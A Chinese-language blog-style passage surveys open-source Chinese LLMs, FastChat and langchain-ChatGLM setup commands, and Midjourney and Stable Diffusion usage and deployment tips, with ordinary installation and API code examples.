虽然这些开源语言模型相比ChatGPT差距巨大，但深度垂直领域的ai应用也在逐渐被人们所认可。与其说我们想要在开源世界寻找ChatGPT的代替品，不如说这些开源大语言模型的出现，意味着我们有能力打造自己的GPT。

• ChatGLM-6B
• https://github.com/THUDM/ChatGLM-6B
• ChatGLM2-6B
• https://github.com/THUDM/ChatGLM2-6B

目前中文领域效果最好，也是应用最多的开源底座模型。大部分的中文GPT二次开发几乎都是在这个模型的基础上做的开发，尤其是2代之后进一步拓展了基座模型的上下文长度。最厉害的是它允许商用。

• Moss
• https://github.com/OpenLMLab/MOSS

MOSS是一个支持中英双语和多种插件的开源对话语言模型，moss-moon系列模型具有160亿参数，在FP16精度下可在单张A100/A800或两张3090显卡运行，在INT4/8精度下可在单张3090显卡运行。MOSS基座语言模型在约七千亿中英文以及代码单词上预训练得到，后续经过对话指令微调、插件增强学习和人类偏好训练具备多轮对话能力及使用多种插件的能力。

• ChatRWKV
• https://github.com/BlinkDL/ChatRWKV

一系列基于RWKV架构的Chat模型（包括英文和中文），发布了包括Raven，Novel-ChnEng，Novel-Ch与Novel-ChnEng-ChnPro等模型，可以直接闲聊及进行诗歌，小说等创作，包括7B和14B等规模的模型。

LLM的基座模型说实话有点儿多，尤其是在最开始的几个开源之后，后面各种LLM基座就像雨后春笋一样出现了，比较可惜的是目前的的开源模型距离ChatGPT的差距非常之大，大部分的模型只能达到GPT3的级别，距离GPT3.5都有几个量级的差距，更别提GPT4了。

• https://github.com/HqWu-HITCS/Awesome-Chinese-LLM
• https://github.com/chenking2020/FindTheChatGPTer

给大家看一个通过一些标准排名出来的LLM排行榜，这个说法比较多，一般就是看样本集的覆盖程度。

• https://github.com/CLUEbenchmark/SuperCLUElyb

Embedding

Embedding 模型也是GPT的很重要一环，在之前的文章里曾经提到过。由于GPT的只能依赖对话的模式受限于上下文的长度。

所以也就衍生出了不少的开源Embedding模型

• https://huggingface.co/GanymedeNil/text2vec-large-chinese
• https://huggingface.co/shibing624/text2vec-base-chinese

gradio

gradio是一个非常有名的机器学习用于数据演示的web框架。通过gradio可以快速的构建一个可以实时交互的web界面。有点儿像flask

• https://github.com/gradio-app/gradio

首先要注意gradio最起码python在3.8版本以上.

1
2
3
4
5
6
7
8

import gradio as gr

def greet(name):
    return "Hello " + name + "!"

demo = gr.Interface(fn=greet, inputs="text", outputs="text")
    
demo.launch()

gradio支持非常多这类的常用场景，就比如文本、勾选框、输入条，甚至文件上传、图片上传，都有非常不错的原生支持。

FastChat

FastChat是一个在LLM基础上构筑的一体化平台，FastChat是基于LLaMA做的二次调参训练。

1

pip3 install fschat

正常使用需要用机器生成Vicuna模型，将LLaMa weights合并Vicuna weights。而这个过程需要大量的内存和CPU，官方给出的参考数据是

• Vicuna-7B：30 GB of CPU RAM
• Vicuna-13B：60 GB of CPU RAM

如果没有足够的内存用，可以尝试下面两个办法来操作一下：

1、在命令中加入–low-cpu-mem，这个命令可以把峰值内存降到16G以下

2、创建一个比较大的交换分区让操作系统用硬盘作为虚拟内存

1
2
3
4
5
6
7
8
9

python3 -m fastchat.model.apply_delta \
    --base-model-path /path/to/llama-7b \
    --target-model-path /path/to/output/vicuna-7b \
    --delta-path lmsys/vicuna-7b-delta-v1.1

python3 -m fastchat.model.apply_delta \
    --base-model-path /path/to/llama-13b \
    --target-model-path /path/to/output/vicuna-13b \
    --delta-path lmsys/vicuna-13b-delta-v1.1

下载完模型文件之后，可以快捷的使用对应的模型

1

python3 -m fastchat.serve.cli --model-path lmsys/fastchat-t5-3b-v1.0

相比其他的基座模型LLM，FastChat的平台化程度就比较高了。

首先提供了controller和model worker分别部署的方案，一对多的方案本身比较符合项目化的结构。

1
2
3

python3 -m fastchat.serve.controller

python3 -m fastchat.serve.model_worker --model-path /path/to/model/weights

而且同样利用gradio构建了相应的web界面

1

python3 -m fastchat.serve.gradio_web_server

除此之外FastChat还提供了和openai完全兼容的api接口和restfulapi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

import openai
openai.api_key = "EMPTY" # Not support yet
openai.api_base = "http://localhost:8000/v1"

model = "vicuna-7b-v1.3"
prompt = "Once upon a time"

# create a completion
completion = openai.Completion.create(model=model, prompt=prompt, max_tokens=64)
# print the completion
print(prompt + completion.choices[0].text)

# create a chat completion
completion = openai.ChatCompletion.create(
  model=model,
  messages=[{"role": "user", "content": "Hello! What is your name?"}]
)
# print the completion
print(completion.choices[0].message.content)

甚至可以直接以api的方式接入到其他的平台中，完成度很高。

知识库文件

知识库文件是langchain类方案中比较重要的一环，所有的问题会先进入知识库中搜索结果然后再作为上下文，知识库文件的数据量会直接影响到这类应用的结果有效度。而现在比较常见的相似度检测用的都是faiss，构建向量数据库用于数据比对。

• https://github.com/facebookresearch/faiss

相应的现在很多应用还内置了用于测试知识库的接口，比如langchain-ChatGLM

通过微调知识相关度的阈值，可以让回答消息更有效。你甚至可以直接在平台新建知识库并录入数据。

langchain

langchain是现在成熟度比较高的一套Aigc应用，现在比较主流的一种知识库检索方案，用的是曾经的文章中提到过的基于上下文的训练方案，用户输出会先进入数据库检索，然后找出最匹配问题的部分结果然后和问题一起加入到prompt的上下文中，最终由LLM生成最终的回答。

这个方案是目前最经典的知识库型训练方案，最有效的解决了大模型本身训练的难度和反馈结果的有效度难以兼容的问题。

• https://github.com/hwchase17/langchain

建立在langchain的思想上，其实衍生了非常多比较有意思的项目，一方面引用了包括ChatGLM-6B等各种开源的大模型，也用了开源的embedding方案来处理文本。

• https://github.com/THUDM/ChatGLM-6B

• https://huggingface.co/GanymedeNil/text2vec-large-chinese/tree/main

另一方面呢也做了比较成熟的vue前端+知识库，可以快速的拼凑出可用的chat ai。

• https://github.com/imClumsyPanda/langchain-ChatGLM
• https://github.com/yanqiangmiffy/Chinese-LangChain#

langchain-ChatGLM

langchain-ChatGLM是诸多langchain方案中中文支持实现的比较好的一个，过程包括加载文件 -> 读取文本 -> 文本分割 -> 文本向量化 -> 问句向量化 -> 在文本向量中匹配出与问句向量最相似的**top k个 -> 匹配出的文本作为上下文和问题一起添加到prompt中 -> 提交给LLM**生成回答。

整个项目中的每个部分都可以一定程度的自由组合，Embedding 默认选用的是 GanymedeNil/text2vec-large-chinese，LLM 默认选用的是 ChatGLM-6B。或者也可以通过fastchat来接入。

配置完成并安装好环境之后，就可以运行，首次运行会下载对应的大模型。

当然，这个模型实在是太大了，命令行下载的时候非常容易出问题，所以可以参考ChatGLM-6B的方案，自己下载模型然后再加载。

• https://github.com/THUDM/ChatGLM-6B#%E4%BB%8E%E6%9C%AC%E5%9C%B0%E5%8A%A0%E8%BD%BD%E6%A8%A1%E5%9E%8B

比较靠谱的就是先下模型实现，然后再单独下载模型并覆盖所有的文件

1

GIT_LFS_SKIP_SMUDGE=1 git clone https://huggingface.co/THUDM/chatglm-6b

• https://cloud.tsinghua.edu.cn/d/fb9f16d6dc8f482596c2/

然后需要修改对应的配置文件中模型的位置，在configs/model_config.py

默认的知识库文件路径是

1

knowledge_base\samples

如果想用自用的本地知识文件，放在对应目录的knowledge_base即可。现在的知识库文件会遍历目录下的文件，所以指定目录即可。

1

python cli_demo.py

1

python3.10 .\webui.py

快速入门

注册Discord并授权使用Midjourney的bot

现在的Midjourney已经正式转为收费版本了，价格还是比较便宜的，最便宜的版本一个月60多块也还算能接受。

订阅完成之后就可以加入Midjourney的频道，在左边可以选择newbie或者general的频道进去

你可以直接在这个频道里使用，当然，这个频道里消息非常多，刷的很快，也有一个办法是你可以在自己的私人频道使用这个bot。首先你需要有一个你拥有管理权限的频道，然后在Midjourney中找到这个bot并把它添加到自己的服务器中。

然后就可以正常的使用命令了。

最常用的命令就是/imagine，输入命令会直接引导格式让你输入对应的prompt，但很可惜的是Midjourney本体对中文的支持并不是很好，生成结束之后就会弹出结果。

下面的几个选项对应的是上面图的进一步发展方向

其中U是选定并放大其中的一张图，V是选定一张图在这个图的结构上进一步生成，如果都不满意还可以重新生成一次。

假设我们选择U1之后，他会获得一个放大版本的更多细节的图。

之后如果你还想进一步生成，还可以点选Make Variations来继续生成之前的4格图继续风格的演变和生成。

进阶配置

Midjourney的基础用法就是用imagine配合基础的文字描述来生成图片

但事实上，Midjourney还有很多进阶选项

首先你可以通过传入图片链接来使用图生图功能。除此之外，还有一些参数可以提供。

• –aspect，–ar：修改生成图片的纵横比.

ps: –aspect 2:3

• –chaos <number 0–100>：改变结果的多样性，值越高变量越大
• –iw <0–2>：设置图片prompt和文字prompt的权重比例，默认值是1
• –no Negative prompting：否定提示词，比如说–no plants可以去除图里的植物

• –quality <.25, .5, or 1>：花费多少渲染质量时间，默认值是1
• –repeat <1–40>，–r <1–40>：重复多少次
• –seed <integer between 0–4294967295>：随机数种子
• –stop <integer between 10–100>：在中途停止生成
• –style ：切换Midjourney的版本
• –stylize ，–s ：Midjourney美术风格的强度
• –tile：重复图块以生成更大的图

除此之外你也可以指定使用Midjourney不同版本的基础模型

• --niji：适用于动漫风格的基础模型
• –version <1, 2, 3, 4, or 5>：不同版本的Midjourney算法

继续拓展

在使用Midjourney的过程中，能最明显感觉到的是，Midjourney其实是通过大幅度简化来实现产品使用体验的大幅度提升，使用Midjourney你并不能像SD一样在很多地方影响图片的生成逻辑，拿生成赛博偶像的系列图举例子，你很难生成同样外形的多个系列图片。

而Midjourney这个工具其实更聚焦于设计师群体，重要的是你想要画一个什么东西出来，一个符合预期的prompt提示词，配合多轮的迭代式绘画改进，你基本上可以用Midjourney画出一个满意的东西。

而我觉得Midjourney除了超棒的交互式体验，最牛的就是底层关键词的解读逻辑有效度非常之高，而且基础模型的审美非常不错，你大概写一个描述词基本上都能得到一个质量非常高的图，这点是其他绘画ai都达不到的高度。

举个例子，a hacker before computer

如果是在文心一言，你就会得到这样一个图

这里你能很明显的感受到他们的区别，就是Midjourney生成结果质量非常之高，你还可以让他进一步生成，如果你觉得直接选择V变化太小了，你可以选择用大图来重新图生图。

比如这里我拿第二个图进行重新生成，加入赛博朋克风格

当然你可能没有什么想法，但你只是喜欢这个画风，那你可以通过chaos这个参数来增加多样性，当然这个值建议不要设置太大，否则基本和原图就关系不大了。

你可以在midjourney上轻而易举的获得你想要的任何改动，不用担心你的需求无法理解，Midjourney会不知疲倦的持续产出各种东西来。每次用这个东西的时候都能感觉到设计师的悲惨。

之前也曾经听过一个事情，设计师届曾大量的抱团反对ai绘画工具的诞生，用设计师设计的东西训练ai，最后反倒毁掉了设计师的工作，真是令人唏嘘。

在线部署Midjourney

前面说了很多关于Midjourney的使用问题，但对于国内来说Midjourney最大的问题就是discord是需要科学的。所以接下来介绍一个可以在国内部署的方案

• https://github.com/novicezk/midjourney-proxy

你可以使用这个项目来部署一个Midjourney的代理，我觉得比较好用的是部署在Railway的版本，不需要用自己的服务器，这个网站提供免费的5美刀和每个月免费的500小时使用。

• https://github.com/LoRexxar/midjourney-proxy/blob/main/docs/railway-start.md

部署完成之后可以获得一个mid的链接

这个时候还只有api，你需要配合一个前端来完成，我选用了魔改版的ChatGPT-Midjourney

• https://github.com/Licoy/ChatGPT-Midjourney

这个东西可以直接部署Vercel版本的，非常好弄，直接点击deploy就可以开始配置了

部署好了绑定域名就可以用了，很方便。

• https://lorexxar.cn/2023/02/21/cyber-girl/

在midjounry收费之后，除非你对AI绘图这个操作本身有强需求，否则在免费自建的stable diffusion上做拓展就成了现在最好的解决方案。

这篇文章就聊一些stable diffusion的一些进阶操作和关键点。其中有不少还是很有意思的。

在线部署stable diffusion

AI相关的东西都有一个很大的共同点就是对GPU的算力要求太高，相比在服务器上运行，更靠谱的方案是在本地电脑上跑，比起动辄5、6位数的服务器，一个入门级的4070ti就已经能应对大量的ai训练场景了。

在Google Colab白嫖GPU

但有个很特殊的东西是Google Colab，这是Google提供的免费GPU算力

现在有很多现成的脚本可以允许你一键部署脚本，就比如

• https://colab.research.google.com/drive/1lekLF7iib6M1R-NCylS0VMTF4wve-XuV

点击打开之后，先点击右上角的连接，会随机分配一个机器给你。

连接成功就会变成绿色

免费的计算单元式有限的，你也可以考虑升级Colab Pro或者Pro+来获得稳定的计算资源。Colab Pro的价格是大概每月75.

在登陆成功并里连接好机器之后，你就可以按照步骤逐步点击操作，每一步点开箭头按钮即可。

这里需要下载的各种内容都会直接下载到你账号对应的Google云端硬盘。

然后是一些比较重要的设置，首先基础的模型包中选择合适的模型，在上篇文章提到过Chilloutmix是一个人像的写实通用模型，正常来说我们都会选择这个。

当然，如果你想要下载其他模型，你也可以在这里填入相应的包链接下载。包括后面的LoRa也是一样。其他的大部分内容都不用更改，直接跑完即可。

最后点击运行启动web ui

然后你就可以直接使用在线版本的stable了，要注意的是免费的colab会有两个问题

1、免费的colab只能连续运行十几小时，再用就必须停一段时间，就又会获得新的免费时间。

2、在使用人数比较多的时候，免费账户可能会申请不到GPU算力。

当然如果你用的是colab pro就不用这么麻烦了。

在Stable diffusion基础上的第三方

其实市面上有很多很多的第三方开发AI绘图工具是基于Stable diffusion做的，其中很多都很好用，适当的付费就可以换来非常好用的工具，就比如Civitai中，你就可以直接点击跳转到第三方网站付费运行相应的模型。

除了这些内置的以外，其中有个我感觉比较好用的是Vega AI

• https://rightbrain.art/

这个网站已经把Stable diffusion包装成很接近midjounry的工具了，你可以非常简单的选择模型并输出描述文案，并且可以在图片基础上做反复微调，虽然这都是Stable diffusion本身的功能，但不得不说在包装后更好用了。

Stable diffusion拓展插件

在上篇文章讲到Stable diffusion本身的各种用法，其实除了本体以外，Stable diffusion还支持拓展插件，可以有非常不错的功能拓展。